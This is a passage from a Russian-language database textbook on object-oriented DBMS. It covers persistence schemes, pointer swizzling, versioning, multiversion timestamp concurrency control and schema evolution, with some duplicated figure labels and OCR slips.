Предоставление расширяемых объектно-ориентированных библиотек СУБД. В этом подходе также используется добавление традиционных функций базы данных в существующий язык программирования. Однако, вместо расширения функций самого языка, здесь используются дополнительные библиотеки классов, поддерживающих перманентность, агрегацию, объектные типы данных, транзакции, параллельность, безопасность и т.д. Именно этот подход используется в продуктах Ontos, Versant и Objectstore.
Вставка конструкций объектно-ориентированного языка базы данных в обычный базовый язык. В разделе 14.5 уже описывалось, как операторы языка SQL могут быть внедрены в обычный базовый язык программирования. В данной стратегии используется та же идея вставки операторов объектно-ориентированного языка базы данных в некоторый базовый язык программирования. Именно этот подход применяется в продукте 02, предоставляющем внедряемые расширения для языка программирования С.
Расширение существующего языка базы данных объектно-ориентированными функциями. Благодаря широкому распространению языка SQL некоторые фирмы-разработчики пытаются расширить его с целью предоставления объектно-ориентированных конструкций. Этот подход используется как фирмами- разработчиками РСУБД, так и фирмами-разработчиками ООСУБД. Поддержка подобных объектно-ориентированных инструментов уже предусматривается в очередной версии стандарта языка SQL, SQL3. (Краткий обзор стандарта SQL3 будет предложен вашему вниманию в разделе 24.4.) Кроме того, в новом стандарте объектной базы данных Object Database Standard группы 0DMG определен стандарт Object SQL, который мы обсудим ниже, в разделе 22.8.5. В продуктах Ontos, Versant и 02 предлагаются версии стандарта Object SQL, а многие фирмы-разработчики ООСУБД заявляют о будущем соответствии их продуктов стандартам группы 0DMG.
Разработка нового языка базы данных или модели данных. Это радикальный подход, который, начиная с нуля, приводит к созданию совершенно нового языка баз данных и СУБД, обладающих объектноориентированными возможностями. Такой подход используется в системе SIM (Semantic Information Manager), которая основана на собственной семантической модели данных и обладает новыми языками определения и управления данными (Jagannathan et al., 1988).
22.2. Перспективы ООСУБД
Системы баз данных в основном используются для создания и сопровождения больших долговременных наборов данных. Как уже было показано в предыдущих главах, современные системы баз данных характеризуются наличием следующих компонентов и функциональных возможностей.
Модель данных. Особый способ описания данных, связей между ними и ограничений, накладываемых на эти данные.
Перманентность данных. Способность данных существовать вне периода выполнения программы и, возможно, за пределами ее жизненного цикла в целом.
Совместное использование данных. Способность многих приложений (или экземпляров одного и того же приложения) осуществлять доступ к общим данным, возможно, одновременно.
Надежность. Гарантия того, что данные в базе данных защищены от сбоев программного и аппаратного обеспечения.
Масштабируемость. Способность простыми средствами оперировать большими объемами данных.
Безопасность и целостность. Защита данных от несанкционированного доступа, а также гарантии того, что данные удовлетворяют заданным правилам корректности и непротиворечивости.
Распределенность. Способность физического распределения логически взаимосвязанного набора совместно используемых данных в сети компьютеров, наличие которого предпочтительно должно быть прозрачным для пользователей.
В противоположность сказанному, в традиционных языках программирования предусмотрены конструкции для процедурного управления, поддержания абстракции данных и абстракции функций, однако в них нет встроенной поддержки для многих из перечисленных выше функций базы данных.
В то время как каждый из этих типов языков полезен в соответствующей области применения, для которой он предназначен, постепенно растет количество приложений, которые должны обладать функциональностью систем баз данных и языков программирования. Такие приложения характеризуются необходимостью хранить и извлекать большие количества совместно используемых структурируемых данных, что обсуждалась нами в разделе 21.1. В последние два десятилетия прилагались значительные усилия для разработки систем, в которых были бы интегрированы концепции из обеих областей применения. Однако эти области применения обладают несколько разными перспективами и различиями, которые следует рассмотреть более подробно.
С точки зрения программистов двумя наиболее важными аспектами, являются производительность и простота использования. Эти цели достигаются за счет более гармоничной интеграции языка программирования и СУБД, чем присутствующая в традиционных системах баз данных. Традиционная СУБД обладает следующими характерными особенностями.
Программист отвечает за принятие решения о чтении или обновлении объектов (записей).
Программист должен создать код трансляции данных между конструкциями объектной модели приложения и моделью данных СУБД (например, отношениями), которые могут быть совершенно разными. Процесс трансляции может быть особенно сложным в случае использования объектноориентированного языка программирования, в котором объект может состоять из многих подчиненных объектов, представленных указателями. Действительно, как уже говорилось ранее, около 30% усилий программиста и примерно столько же выполняемого кода тратится на установление соответствия между разными моделями. Если этот процесс установления соответствия удастся исключить или хотя бы сократить, то программист
*Преобразование и контроль типов*Преобразование и контроль типовААSQLSQLВнешняя памятьВнешняя памятьРис. 22.2. Двухуровневая модель хранения в традиционной (реляционной) СУБДРис. 22.2. Двухуровневая модель хранения в традиционной (реляционной) СУБДОсновная или виртуальная памятьОсновная или виртуальная памятьВнешняя памятьВнешняя памятьРис. 22.3. Одноуровневая модель хранения в ООСУБДРис. 22.3. Одноуровневая модель хранения в ООСУБД
*
Преобразование и контроль типов
*
Преобразование и контроль типов
А
А
SQL
SQL
Внешняя память
Внешняя память
Рис. 22.2. Двухуровневая модель хранения в традиционной (реляционной) СУБД
Рис. 22.2. Двухуровневая модель хранения в традиционной (реляционной) СУБД
Основная или виртуальная память
Основная или виртуальная память
Внешняя память
Внешняя память
Рис. 22.3. Одноуровневая модель хранения в ООСУБД
Рис. 22.3. Одноуровневая модель хранения в ООСУБД
будет освобожден от ответственности за выполнение этой работы, при этом полученный код будет существенно легче для понимания и сопровождения, а производительность повысится.
Программист отвечает за выполнение дополнительной проверки типов при чтении объекта из базы данных. Например, программист может создать объект с помощью объектно-ориентированного языка Java со строгим контролем типов и сохранить его в традиционной СУБД. Однако другое приложение, созданное на другом языке программирования, может изменить этот объект безо всяких гарантий того, что объект по-прежнему будет соответствовать его исходному типу.
Все эти трудности происходят от того, что традиционные СУБД обладают двухуровневой моделью хранения: прикладная модель хранения располагается в оперативной или виртуальной памяти, а модель хранения базы данных — на диске, как показано на рис. 22.2. В ООСУБД, наоборот, создается иллюзия одноуровневой модели хранения с одинаковым представлением объектов в оперативной памяти и в базе данных на диске, как показано на рис. 22.3.
Основная или виртуальная память
Хотя одноуровневые модели памяти интуитивно выглядят очень просто, но для достижения этой иллюзии представление объектов в оперативной памяти и на диске в ООСУБД должно быть организовано очень хитроумно. Как уже говорилось в разделе 21.3, объекты и связи между ними идентифицируются с помощью идентификаторов объектов (OID-идентификаторов). Существуют два типа OID-идентификаторов: логиче-
ские OID-идентификаторы, которые не зависят от физического расположения объекта на диске, и физические OID-идентификаторы, в которых закодирована информация об их расположении. В первом случае необходимо выполнять дополнительные действия для поиска и подстановки физического адреса объекта на диске. Однако в обоих случаях OID-идентификатор отличается по размеру от стандартного указателя оперативной памяти, который должен быть лишь достаточно большим, чтобы адресовать всю виртуальную память. Таким образом, для достижения требуемой производительности ООСУБД должна уметь преобразовывать OID-идентификаторы в указатели оперативной памяти и наоборот. Подобный метод преобразования называется “подстановкой указателей” (“pointer swizzling”), или “подстановкой объектов” (“object swizzling”). Для его реализации используются разнообразные способы: от программных методов проверки расположения в памяти до аппаратных схем работы со страницами памяти (Moss and Eliot, 1990). Более подробно мы рассмотрим эти методы в разделе 22.3.3.
Доступ к объекту
Другим важным аспектом является способ доступа к объекту во внешней памяти, особенности которого могут оказать значительное влияние на производительность ООСУБД. Если вновь обратиться к подходу, используемому в обычных реляционных СУБД, применяющих двухуровневую модель хранения, то можно выделить типичные этапы, показанные на рис. 22.4 и подробно описанные ниже.
Кэш СУБДКэш СУБДВнешняя памятьВнешняя памятьПамять приложенияПамять приложенияРис. 22.4. Этапы доступа к записи в обычной СУБДРис. 22.4. Этапы доступа к записи в обычной СУБД
Кэш СУБД
Кэш СУБД
Внешняя память
Внешняя память
Память приложения
Память приложения
Рис. 22.4. Этапы доступа к записи в обычной СУБД
Рис. 22.4. Этапы доступа к записи в обычной СУБД
СУБД определяет страницу во внешнем устройстве хранения, содержащую требуемую запись, используя механизмы индексов или сканирования таблиц, если это необходимо (см. раздел 18.4). Затем СУБД считывает эту страницу из внешнего устройства хранения и копирует ее в кэш-память.
СУБД последовательно переносит требуемые элементы записи из кэш-памяти в пространство памяти приложения. При этом может понадобиться выполнить преобразования типов данных SQL в типы данных приложения.
Приложение может обновить значения полей в его собственной области памяти.
Измененные приложением поля данных средствами языка SQL переносятся назад в кэш-память СУБД, в процессе чего может опять потребоваться выполнить преобразование типов данных.
Наконец, СУБД сохраняет обновленную страницу в соответствующем месте внешнего устройства хранения, переписывая ее из кэш-памяти.
В свою очередь, для извлечения объекта из внешнего устройства хранения при использовании одноуровневой модели хранения, ООСУБД выполняет только те этапы, которые показаны на рис. 22.5.
Память приложенияПамять приложенияВнешняя памятьВнешняя памятьРис. 22.5. Этапы доступа к записи в ООСУБДРис. 22.5. Этапы доступа к записи в ООСУБД
Память приложения
Память приложения
Внешняя память
Внешняя память
Рис. 22.5. Этапы доступа к записи в ООСУБД
Рис. 22.5. Этапы доступа к записи в ООСУБД
ООСУБД определяет страницу на внешнем устройстве хранения, содержащую требуемый объект, используя его OID-идентификатор или индекс, если это необходимо. Затем ООСУБД считывает требуемую страницу из внешнего устройства хранения и копирует ее в страницу кэш-памяти приложения в оперативной памяти.
ООСУБД может выполнить несколько различных преобразований:
подстановка ссылок (указателей) между объектами;
добавление некоторой информации в структуру данных объекта для достижения соответствия требованиям, предъявляемым со стороны языка программирования;
изменение представления данных для тех данных, которые поступают из разных аппаратных платформ или языков программирования.
Приложение осуществляет непосредственный доступ к объекту и обновляет его по мере необходимости.
Когда приложению потребуется сделать внесенные изменения перманентными или просто выгрузить данную страницу из кэш-памяти, то до копирования страницы обратно на внешнее устройство хранения ООСУБД должна будет выполнить обратные преобразования, аналогичные описанным выше.
Перманентность
СУБД должна предоставлять поддержку хранения перманентных (persistent) объектов: т.е. таких объектов, которые сохраняются даже после завершения того пользовательского сеанса или прикладной программы, во время которых они были созданы.
Этим они отличаются от временных (transient) объектов, которые сохраняются только на время работы программы. Перманентные объекты сохраняются до тех пор, пока они нужны, после чего они могут удаляться. Ниже представлены некоторые схемы обеспечения перманентности языков программирования, которые отличаются от рассмотренного выше подхода на основе внедрения операторов внешнего объектного языка. Более полный обзор схем обеспечения перманентности заинтересованный читатель может найти в работе Аткинсона и Бюнемана (Atkinson and Buneman, 1989).
Хотя интуитивно кажется, что перманентность ограничивается только состоянием объектов, на самом деле понятие перманентности может быть также применено к (объектному) коду и состоянию выполнения программы. Включение программного кода в перманентное хранилище потенциально обеспечивает более полное и элегантное решение. Однако без полностью интегрированной среды разработки придание программному коду перманентности приводит к дублированию, так как этот же код будет по- прежнему существовать и в файловой системе. Также очень заманчивым представляется обеспечение перманентности состояния программы и ее потоков. Однако в отличие от программного кода, для которого существует некоторое стандартное определение формата, состояние выполнения программы совсем не так просто поддается обобщению. В этом разделе будет рассмотрен только вопрос перманентности объектов.
Схемы обеспечения перманентности
В этом разделе кратко рассматриваются три схемы реализации перманентности внутри ООСУБД, а именно: использование контрольных точек (checkpointing), сериализация (serialization) и явная подкачка страниц (explicit paging).
Создание контрольных точек
В некоторых системах перманентность реализована за счет копирования всех или некоторых частей адресного пространства памяти приложения на внешнее устройство хранения. В тех случаях, когда адресное пространство сохраняется полностью, программа может быть вновь запущена с некоторой контрольной точки. В других случаях сохраняется только содержимое свободно распределяемой памяти (кучи) приложения.
Механизм создания контрольных точек имеет два недостатка. Во-первых, контрольная точка, как правило, может быть использована только той программой, которая ее создала. Во-вторых, контрольная точка может содержать достаточно большое количество информации, совершенно не используемой при последующих выполнениях программы.
Сериализация
В некоторых системах перманентность реализуется за счет копирования всей структуры данных на диск. В этой схеме операция записи значения данных обычно включает обход графа из объектов, которые доступны для данного объекта, и последующей записи линеаризованной версии этой структуры на диск. Обратное чтение такой линеаризованной структуры данных приводит к созданию новой копии исходной структуры данных. Этот процесс иногда называется сериализацией, консервацией (pickling), или (в контексте распределенных вычислений) маршали- зацией (marshaling).
Сериализация имеет два неотъемлемых недостатка. Во-первых, она не позволяет сохранять идентичность объекта, поэтому если две структуры данных, которые совместно используют общую подчиненную структуру, будут сериализованы по отдельности, то после их извлечения эта подчиненная структура уже не будет совместно использоваться в этих двух структурах данных. Во-вторых, сериализация не может выполняться инкрементно, по приращениям, а потому сохранение малых изменений большой структуры данных будет неэффективным.
Явная подкачка страниц
В некоторых схемах реализации перманентности программисту необходимо явно выполнять для объектов процедуры страничного обмена (подкачку страниц) между областью свободно распределяемой памяти (кучи) приложения и перманентным устройством хранения. Как уже говорилось выше, этот процесс обычно связан с преобразованием указателей объектов между схемой указателей в дисковой памяти и схемой указателей в оперативной памяти. Для использования механизма явной подкачки страниц существуют два общих метода создания/обновления перманентных объектов: на основе достижимости и на основе распределения.
Перманентность на основе достижимости (reachability-based) означает, что объект будет перманентным, если он достижим для перманентного корневого объекта. Этот метод обладает некоторыми преимуществами, включая то, что программисту не нужно во время создания объекта задаваться вопросом: является ли он перманентным. В любой момент после своего создания объект может стать перманентным за счет добавления его в дерево достижимости (reachability tree). Такая модель хорошо отображается на языки, включающие некоторую разновидность механизма сборки мусора, позволяющего автоматически удалять объекты, если они оказались недостижимы для любого другого объекта (например, языки Smalltalk или Java).
Перманентность на основе распределения (allocation-based) означает, что объект является перманентным только в том случае, если он явно объявлен таковым внутри прикладной программы. Этого можно добиться следующими способами.
С помощью класса. Класс объявляется перманентным статически и все его экземпляры автоматически становятся перманентными в момент их создания. В альтернативном варианте класс может быть объявлен как подкласс системного перманентного класса. Этот подход применяется в системах Ontos и Objectivity/DB.
С помощью явного вызова. Объект может быть объявлен перманентным в момент его создания или, в некоторых случаях, динамически, во время выполнения программы. Данный подход используется в системе Objectstore. В альтернативном варианте объект может быть динамически добавлен в перманентную коллекцию объектов.
При отсутствии всеобъемлющего механизма сборки мусора объект будет храниться в перманентном хранилище до тех пор, пока не будет явно удален приложением. Это потенциально приводит к возникновению проблем утечки памяти и висячих указателей.
При использовании любого из этих двух подходов обеспечения перманентности программисту необходимо обрабатывать два разных типа объектных указателей, что снижает надежность и сопровождение программного обеспечения. Эти проблемы можно устранить, если полностью интегрировать механизм обеспечения перманентности с прикладным языком программирования. Именно этот подход рассматривается ниже.
Ортогональная перманентность
Альтернативный механизм обеспечения перманентности в языке программирования называется ортогональной перманентностью (orthogonal persistence) (Atkinson et al., 1983; Cockshort, 1983). Эта концепция основана на следующих трех фундаментальных принципах.
Независимость перманентности
Перманентность объекта данных не зависит от способа обработки объекта данных программой, и, наоборот, фрагмент программы описывается независимо от перманентности данных, которыми он манипулирует. Например, должна существовать возможность вызывать функцию в одном случае с параметрами, являющимися перманентными объектами, а в другом — с параметрами, представленными временными объектами. Таким образом, программисту не потребуется (а на самом деле он и не сможет) программировать управление перемещением данных между кратковременным и долговременным устройствами хранения информации.
Ортогональность типа данных
Все объекты данных должны обладать полным диапазоном перманентности независимо от их типа. Не существует никаких особых условий для того, чтобы объекту не разрешалось быть перманентным или временным. В некоторых перманентных языках программирования перманентность является качеством, которое приписывается только некоторому подмножеству типов данных языка. Этот подход применяется в языках Pascal/R, Amber, Avalon/C++ и Е. Ортогональный подход используется во многих системах, включая Ps-Algol, Napier88, Galileo и GemStone (Connoly, 1997).
Транзитивная перманентность'
Выбор способа идентификации и организации перманентных объектов на уровне языка не зависит от выбора типов данных в этом языке. Широко используемый сейчас метод идентификации основан на понятии достижимости, которая рассматривалась в предыдущем разделе. Сначала этот принцип получил название “идентификация перманентности” (“persistence identification”), но теперь используется более емкий термин группы ODMG “транзитивная перманентность”.
Преимущества и недостатки ортогональной перманентности
Одинаковая обработка объектов в системе, основанная на принципе ортогональной перманентности, более удобна для программиста и системы по следующим причинам.
Нет необходимости определять долговременные данные с помощью отдельного языка схемы.
В приложении не требуется специальный код для доступа или обновления перманентных данных.
Не существует ограничений для сложности структур данных, которые могут быть реализованы как перманентные.
Соответственно ортогональная перманентность обладает следующими преимуществами.
Повышение производительности труда программиста за счет упрощения семантики.
Упрощение процедур сопровождения — поскольку механизмы обеспечения перманентности централизованы, программисты могут сконцентрироваться на реализации бизнес-функций.
Согласованность'механизмов защиты для всей среды в целом.
Поддержка поэтапной эволюции.
Автоматически поддерживаемая ссылочная целостность.
Однако в системе, в которой во время выполнения каждая ссылка может адресовать перманентный объект, будут иметь место дополнительные накладные расходы. В этом случае системе каждый раз потребуется проверять, должен ли данный объект загружаться из базы данных, расположенной на диске. Кроме того, хотя теоретически ортогональная перманентность способствует повышению уровня прозрачности, в системе, поддерживающей совместное использование данных несколькими параллельными процессами, полной прозрачности быть не может.
Методы подстановки указателей
Подстановка Преобразование идентификаторов объектов (OID-идентификаторов) указателей в указатели оперативной памяти и обратно.
Основная цель подстановки указателей заключается в оптимизации доступа к объектам. В разделе 21.3.3 уже говорилось о том, что ссылки между объектами обычно представляются с помощью идентификаторов объектов (OID-идентификаторов). При
считывании объекта из вспомогательного устройства хранения в кэш-память базы данных необходимо также получить информацию о расположении на вспомогательном устройстве хранения любых других объектов, упоминаемых данным объектом, для чего и используются их OID-идентификаторы. Но поскольку упоминаемые объекты считываются в кэш-памяти базы данных, желательно отметить, что теперь они находятся в оперативной памяти. Это позволит предотвратить их повторное извлечение из внешней памяти. Один из способов решения данной проблемы — создание справочной таблицы, с помощью которой OID-идентификаторы отображаются на указатели в оперативной памяти. Однако метод подстановки указателей предлагает более эффективную стратегию сохранения указателей оперативной памяти вместо упоминаемых OID- идентификаторов и, наоборот — в случае, когда объект нужно сохранить на диске.
В этом разделе рассматриваются некоторые вопросы, связанные с методом подстановки указателей, включая разные способы его реализации.
Без подстановки
Простейшая реализация метода подстановки указателей заключается в полном отсутствии подстановки. В этом случае объекты помещаются в оперативную память базовым менеджером объектов, а дескриптор возвращается тому приложению, которое содержит уникальный идентификатор объекта (OID-идентификатор) (White, 1994). OID- идентификатор используется каждый раз при доступе к объекту. Для этого требуется, чтобы в системе поддерживалась своего рода справочная таблица, в которой можно было бы найти указатель на объект в виртуальной памяти, а затем использовать его для доступа к объекту. Поскольку справочная таблица требуется для доступа к каждому объекту, этот подход может быть неэффективным, если приходится повторно осуществлять доступ к одним и тем же объектам. С другой стороны, этот подход вполне подходит для случаев, когда приложение осуществляет доступ к объекту только один раз.
Ссылки на объекты
Для подстановки указателя виртуальной памяти вместо OID-идентификатора перманентного объекта потребуется воспользоваться некоторым механизмом определения различий между резидентными и нерезидентными объектами. Большинство таких методов являются некоторыми разновидностями базовых методов маркирования ребер (edge marking) или маркирования узлов (node marking) (Hoskings and Moss, 1993).
Если рассматривать виртуальную память системы как ориентированный граф, состоящий из объектов (в виде узлов) и ссылок (в виде направленных ребер), то при использовании метода маркирования ребер каждый указатель объекта следует пометить однобитной меткой. Если бит этой метки установлен, то эта ссылка является указателем виртуальной памяти, в противном случае она все еще указывает на OID-идентификатор и ее нужно будет заменить, если объект, на который он ссылается, будет перенесен в пространство памяти приложения. При использовании метода маркирования узлов требуется, чтобы все указатели объектов преобразовывались в указатели виртуальной памяти непосредственно в процессе переноса объекта в оперативную память. Первый подход может быть реализован только с помощью программного обеспечения, тогда как второй может быть реализован с помощью как программных, так и аппаратных методов.
Схемы на основе аппаратного обеспечения
В методах подстановки с помощью аппаратных средств для обнаружения попыток доступа к нерезидентным объектам перехватываются нарушения защиты доступа к виртуальной памяти (Lamb et al., 1991). В подобных схемах используется стандартное аппаратное обеспечение для организации виртуальной памяти, которое предназначено для переключения потока перманентных данных с диска в оперативную память. Сразу после переброски страницы доступ к объектам на этой странице осуществляется с помощью обычных указателей виртуальной памяти, и выполнять дальнейшую проверку резидентности объекта больше не потребуется. Подобный подход с использованием аппаратного обеспечения применяется в нескольких коммерческих и исследовательских системах, включая ООСУБД Objectstore и Texas.
Основным преимуществом подхода с использованием аппаратных средств является то, что доступ к находящимся в памяти перманентным объектам так же эффективен, как и доступ к временным объектам, потому что в данном подходе устраняются накладные расходы, связанные с проверкой резидентности, которая необходима при использовании подходов на основе программного обеспечения. Недостаток подхода с использованием аппаратных средств заключается в том, что многие полезные функциональные возможности базы данных (например, блокировка с высоким уровнем детализации, обеспечение ссылочной целостности, управление средствами восстановления и гибкая политика управления буферами) в этом случае обеспечить гораздо сложнее. Кроме того, при использовании этого подхода количество данных, к которым можно осуществить доступ во время транзакции, ограничивается размером виртуальной памяти. Это ограничение можно преодолеть за счет использования определенного варианта подсистемы сборки мусора, позволяющего восстанавливать доступность пространства памяти, хотя это будет связано с дополнительными накладными расходами и определенным усложнением системы.
Другие вопросы
С использованием методов подстановки указателей связаны еще три проблемы.
Подстановка за счет копирования и непосредственная подстановка
После переноса объектов данные могут быть либо скопированы в кэш-память локальных объектов приложения, либо доступ к ним будет организован на месте, непосредственно внутри кэш-памяти менеджера объектов базы данных (White, 1994). Вариант подстановки с помощью копирования может оказаться более эффективным, поскольку в самом худшем случае вернуть OID-идентификаторы потребуется только для измененных объектов, тогда как метод непосредственной подстановки может привести к обратной подстановке для целой страницы объектов при изменении всего одного объекта на странице. С другой стороны, при подстановке за счет копирования каждый объект должен быть явным образом скопирован в кэш-память объекта.
Активная и пассивная подстановка
Мосс определяет активную подстановку (eager swizzling) как подстановку всех OID-идентификаторов перманентных объектов во всех используемых приложениями страницах данных еще до доступа к любому из объектов (Moss, 1992). Это очень жесткое требование, в обход которого Кемпер и Коссман предложили более гибкое определение, в котором подстановка ограничена только всеми перманентными OID- идентификаторами внутри объекта, к которому приложение делает попытку получить доступ (Kemper and Kossman, 1993). При пассивной подстановке указатели подставляются только при доступе к ним или их обнаружении. Этот вариант характеризуется меньшими накладными расходами при переносе объекта в оперативную память, однако следует учитывать, что при каждом доступе к объекту придется обрабатывать два разных типа указателей, т.е. подставленный и неподставленный.
Прямая и косвенная подстановка■
Этот вариант относится только к таким случаям, когда существует возможность, что подставленный указатель будет ссылаться на объект, который уже не находится в виртуальной памяти. При прямой подстановке указатель виртуальной памяти на ссылаемый объект размещается непосредственно в подставленном указателе. При косвенной подстановке указатель виртуальной памяти размещается в промежуточном объекте, который выполняет роль заменителя фактического объекта. Таким образом, при использовании косвенной схемы объекты могут извлекаться из кэшпамяти и помещаться во вторичную память без выполнения обратной подстановки уже подставленных указателей, ссылающихся на данный объект.
Прочие аспекты функционирования ООСУБД
В этом разделе рассматриваются следующие аспекты функционирования и построения ООСУБД:
транзакции;
версии;
эволюция схемы;
архитектура.
Транзакции
Как уже говорилось в разделе 17.1, транзакция является логической единицей работы, которая всегда должна переводить базу данных из одного непротиворечивого состояния в другое. В бизнес-приложениях обычно используются кратковременные транзакции, тогда как в инженерных и проектировочных приложениях, наоборот, большинство транзакций оперирует сложными объектами и может выполняться в течение нескольких часов или даже дней. Ясно, что для поддержки долговременных транзакций необходимо использовать другие протоколы, которые отличаются от протоколов, применяемых в случае традиционных приложений баз данных, транзакции которых обычно бывают кратковременными (см. раздел 17.4).
В ООСУБД логической единицей управления параллельностью и восстановлением является объект, хотя в целях повышения производительности могут использоваться более крупные единицы. Управление параллельностью позволяет избежать возникновения конфликтов при доступе к базе данных со стороны многих пользователей. Протоколы на основе блокирования являются наиболее распространенным механизмом управления параллельностью, используемым в ООСУБД для предотвращения возникновения конфликтов. Однако для пользователя, который инициировал долговременную транзакцию, будет совершенно неприемлемым обнаружить, что из-за конфликта блокировок его транзакция была отменена, а вся проделанная им работа утрачена. Для разрешения этой проблемы можно воспользоваться следующими двумя подходами.
Использование версий (рассматривается в следующем разделе).
Усовершенствование моделей обработки транзакций — например, использование механизма вложенных транзакций, хроник или многоуровневых транзакции (эти подходы рассматриваются в разделе 17.4).
Использование версий
Существует много приложений, в которых необходимо обеспечить доступ к предыдущему состоянию объекта. Например, разработка некоторого проекта часто имеет вид экспериментального пошагового процесса, диапазон которого меняется со временем. Следовательно, в базах данных, хранящих эти проекты, необходимо отслеживать эволюцию проектируемых объектов и изменения, вносимые в проект разными транзакциями (Atwood, 1985; Katz et al., 1986; Banerjee et al., 1987, a).
Процесс сопровождения эволюции объектов называется управлением версиями. Версия объекта представляет некоторое определенное состояние объекта, а история версий — фиксацию эволюции объекта. Механизм отслеживания версий должен позволять управлять изменениями объектов таким образом, чтобы ссылки на объект всегда указывали на правильную версию объекта. На рис. 22.6 показана схема управления версиями для трех объектов: 0А, 0в и 0с. Предположим, что объект 0А имеет версии Vp V2 и V3, версия V1A выведена из версии Vp а версии V2A и V2B — из версии V2. На этом рисунке показан пример конфигурации объектов, состоящей из следующих элементов: версии V2B объекта 0А; версии V2A объекта 0в и версии VIB объекта 0с.
КонфигурацияКонфигурацияРис. 22.6. Схема версий и конфигурации объектовРис. 22.6. Схема версий и конфигурации объектов
Конфигурация
Конфигурация
Рис. 22.6. Схема версий и конфигурации объектов
Рис. 22.6. Схема версий и конфигурации объектов
Некоторые способы управления версиями предлагаются в коммерческих продуктах Ontos, Versant, Objectstore, Objectivity/DB и Itasca. В продукте Itasca рассматриваются следующие три типа версий (Kim and Lochkovsky, 1989).
Временные версии. Временная версия считается нестабильной и может быть обновлена и удалена. Она может быть создана заново на основании окончательной версии некоторого объекта, взятой из открытой базы данных. Или же она может быть создана на основе рабочей или временной версии объекта из закрытой базы данных. В последнем случае базовая временная версия становится рабочей версией. Временные версии хранятся в закрытом рабочем пространстве создателя.
Рабочие версии. Рабочая версия считается стабильной и не может быть обновлена, но она может быть удалена ее создателем. Она хранится в закрытом рабочем пространстве создателя.
Окончательные версии. Окончательная версия считается стабильной и не может быть обновлена или удалена. Она хранится в открытой базе данных, в которую помещается в результате извлечения рабочей версии объекта из закрытой базы данных.
Для повышения производительности и сокращения накладных расходов при поддержке версий в системе Itasca введено требование о том, что приложение должно сообщать о необходимости поддержки версий для некоторого класса. При создании экземпляра класса с поддержкой версий вместе с первой версией этого экземпляра создается его родовой объект (generic object). Родовой объект содержит информацию, необходимую для управления версиями.
Упорядочение временнь/х меток в случае многих версий
Управление версиями может также использоваться для повышения уровня параллельности, поскольку разные проектировщики могут работать с разными версиями одного и того же объекта, не ожидая завершения транзакций других пользователей. В случае, когда в ходе проектирования обнаруживается ошибка, сделанная ранее на каком-то этапе, существует возможность выполнить откат до некоторой корректной версии проекта. В этом случае управление версиями используется как альтернативный механизм управления параллельностью при использовании вложенных и многоуровневых транзакций (Beech and Mahbod, 1988; Chou and Kim, 1986, 1988). В этом разделе кратко рассматривается одна из схем управления параллельностью, в которой версии используются для повышения уровня параллельности обработки на основе временных меток (Reed, 1978; 1983).
В базовом протоколе упорядочения по временным отметкам, обсуждавшемся в разделе 17.2.5, предполагалось, что существует только одна версия элемента данных, а потому только одна транзакция может осуществлять доступ к элементу данных в
некоторый момент времени. Это ограничение можно смягчить, если разрешить нескольким транзакциям читать и записывать разные версии одного и того же элемента данных, гарантируя, что каждая транзакция будет оперировать непротиворечивым набором версий всех элементов данных, к которым она осуществляет доступ. При управлении параллельностью в среде со многими версиями элементов данных каждая операция записи создает новую версию элемента данных с сохранением старой версии. Если какая-то транзакция пытается считать элемент данных, система выбирает одну из этих версий, что в целом гарантирует в системе упорядоченность.
Предположим, что для каждого элемента данных X в базе данных содержится п версий Хь Х2, ... Хп, причем для каждой i-й версии в системе хранятся следующие три величины.
Значение версии Хх.
Временная отметка чтения, read_timestamp(X1), принимающая наибольшее значение среди временных меток всех транзакций, которые успешно считали версию Х1е
Временная отметка записи, write_timestamp(Xi), имеющая значение временной отметки той транзакции, которая успешно создала версию Хр
Пусть ts(T) является временной отметкой текущей транзакции Т. Тогда протокол на базе временных меток для среды со многими версиями может использовать следующие два правила для обеспечения упорядоченности.
Правило 1. Транзакция Т инициирует запись элемента данных X
Если транзакция Т желает записать элемент данных X, то необходимо убедиться в том, что элемент данных еще не был считан некоторой другой транзакцией Tj так, что ts(T) < ts(Tj). Если транзакции Т разрешить выполнить эту операцию записи, то для обеспечения упорядоченности выполненное изменение должно быть доведено до сведения транзакции Тг Однако очевидно, что транзакция Tj уже считала исходное значение и не в состоянии обнаружить изменение, выполненное транзакцией Т.
Таким образом, если версия Xj имеет наибольшую временную отметку записи для элемента данных X, которая меньше или равна ts(T) (т.е. write_timestamp(Xj) < ts(T)) и read_timestamp(Xj) > ts(T), то транзакция Т должна быть отменена и перезапущена с новой временной отметкой. В противном случае следует создать новую версию Xj элемента X и установить его временную отметку read_timestamp(Xj) = write_timestamp(Xj) = ts(T).
Правило 2. Транзакция Т инициирует чтение элемента данных X
Если транзакция Т желает считать элемент данных X, то необходимо предоставить ей версию элемента данных X с наибольшей временной отметкой, которая меньше или равна ts(T), т.е. версию с отметкой write_timestamp(Xj) < ts(T). При этом следует установить значение временной отметки read_timestamp(Xj) = max(ts(T), read_timestamp(Xj)). Обратите внимание, что при использовании этого протокола операции чтения никогда не отменяются.
Версии могут быть удалены сразу после того, как они становятся ненужными. Для определения востребованности некоторой версии элемента следует определить временную отметку самой старой транзакции в системе. Далее, для любых двух версий Xi и Xj элемента данных X с временными отметками меньше самой старой временной отметки в системе следует удалить более старую версию.
Эволюция схемы
Проектирование представляет собой пошаговый процесс, который эволюционирует со временем. Для поддержки этого процесса приложения нуждаются в достаточно гибких средствах динамического определения и изменения схемы базы данных. Например, система должна допускать изменение определений классов, структуры наследования и спецификации атрибутов и методов без необходимости остановки и пе-
резагрузки системы. Концепция модификации схемы тесно связана с рассмотренной выше концепцией управления версиями. Вопросы, возникающие в процессе эволюции схемы, достаточно сложны и не все они достаточно хорошо исследованы. Ниже перечислены типичные изменения, которые может потребоваться внести в схему базы данных (Banerjee et al., 1987, б).
Изменение определения класса.
Изменение атрибутов.
Изменение методов.
Изменение иерархии наследования.
Определение класса S как суперкласса для класса С.
Удаление класса S из списка суперклассов для класса С.
Изменение порядка суперклассов для класса С.
Изменения набора классов, например создание и удаление классов, изменение имен классов.
Вносимые в схему изменения не должны переводить ее в несогласованное состояние. В продуктах Itasca и GemStone определены правила согласованности схемы, называемые инвариантами схемы, которые должны соблюдаться при любой модификации схемы. Эти правила могут быть разбиты на четыре описанные ниже группы (Banerjee et al., 1987, б).
Разрешение конфликтов, вызванных множественным наследованием и переопределением атрибутов и методов в подклассе.
Правило приоритета подклассов по отношению к суперклассам.
Если атрибут/метод подкласса определен с тем же именем, что и атри- бут/метод суперкласса, то определение в подклассе обладает более высоким приоритетом по отношению к определению в суперклассе.
Правило приоритета между суперклассами разного происхождения.
